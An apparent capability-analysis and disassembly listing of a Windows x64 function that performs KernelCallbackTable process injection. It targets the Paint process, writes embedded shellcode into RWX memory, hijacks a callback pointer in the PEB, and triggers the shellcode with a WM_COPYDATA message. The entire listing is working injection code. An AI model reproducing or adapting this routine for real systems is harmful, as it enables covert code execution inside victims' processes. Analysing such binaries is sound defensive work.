Function at 0x407c10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
sub rsp, 0xce0
lea rbp, [rsp + 0x80]
call fcn.004015f0
movabs rax, 0x6e00720065006b
movabs rdx, 0x610063006c0065
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x610062006c006c
movabs rdx, 0x610074006b0063
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x200065006c0062
movabs rdx, 0x65006a006e0069
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x6f006900740063
movabs rdx, 0x6d00690020006e
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov dword [rbp], 0x6c0070
mov word [rbp + 4], 0
lea rdx, str.Sans_titre___Paint
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp + 0xc58], rax
cmp qword [rbp + 0xc58], 0
jne 0x407cde
lea rcx, str.failed_to_find_window_:__n
call fcn.00407bb0
mov eax, 0xfffffffe
jmp 0x407fdd
lea rdx, [rbp + 0xc34]
mov rax, qword [rbp + 0xc58]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call rax
mov eax, dword [rbp + 0xc34]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0xc50], rax
lea rcx, str.ntdll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0xc48], rax
mov rax, qword [rbp + 0xc48]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xc40], rax
lea rdx, [rbp + 0xc00]
mov rax, qword [rbp + 0xc50]
mov qword [rsp + 0x20], 0
mov r10, qword [rbp + 0xc40]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
mov rcx, rax
call r10
mov rdx, qword [rbp + 0xc08]
lea rcx, [rbp + 0x10]
mov rax, qword [rbp + 0xc50]
mov qword [rsp + 0x20], 0
mov r9d, 0x7c8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x800]
mov rax, qword [rbp + 0xc50]
mov qword [rsp + 0x20], 0
mov r9d, 0x400
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
mov rax, qword [rbp + 0xc50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x13a
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0xc38], rax
mov rdx, qword [rbp + 0xc38]
mov rax, qword [rbp + 0xc50]
mov qword [rsp + 0x20], 0
mov r9d, 0x13a
lea r8, [0x00409100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [rbp + 0xc50]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x400
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x48], rax
mov rax, qword [rbp + 0xc38]
mov qword [rbp + 0x800], rax
mov rdx, qword [rbp - 0x48]
lea rcx, [rbp + 0x800]
mov rax, qword [rbp + 0xc50]
mov qword [rsp + 0x20], 0
mov r9d, 0x400
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [rbp + 0xc08]
lea rdx, [rax + 0x58]
lea rcx, [rbp - 0x48]
mov rax, qword [rbp + 0xc50]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov qword [rbp + 0x7e0], 1
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
call rax
add eax, eax
mov dword [rbp + 0x7e8], eax
lea rax, [rbp - 0x40]
mov qword [rbp + 0x7f0], rax
lea rcx, [rbp + 0x7e0]
mov rdx, qword [rbp + 0xc58]
mov rax, qword [rbp + 0xc58]
mov r9, rcx
mov r8, rdx
mov edx, 0x4a
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SendMessageA]
call rax
mov rax, qword [rbp + 0xc08]
lea rdx, [rax + 0x58]
lea rax, [rbp + 0x10]
lea rcx, [rax + 0x58]
mov rax, qword [rbp + 0xc50]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0xc38]
mov rax, qword [rbp + 0xc50]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rdx, qword [rbp - 0x48]
mov rax, qword [rbp + 0xc50]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0xc50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0xce0
pop rbp
ret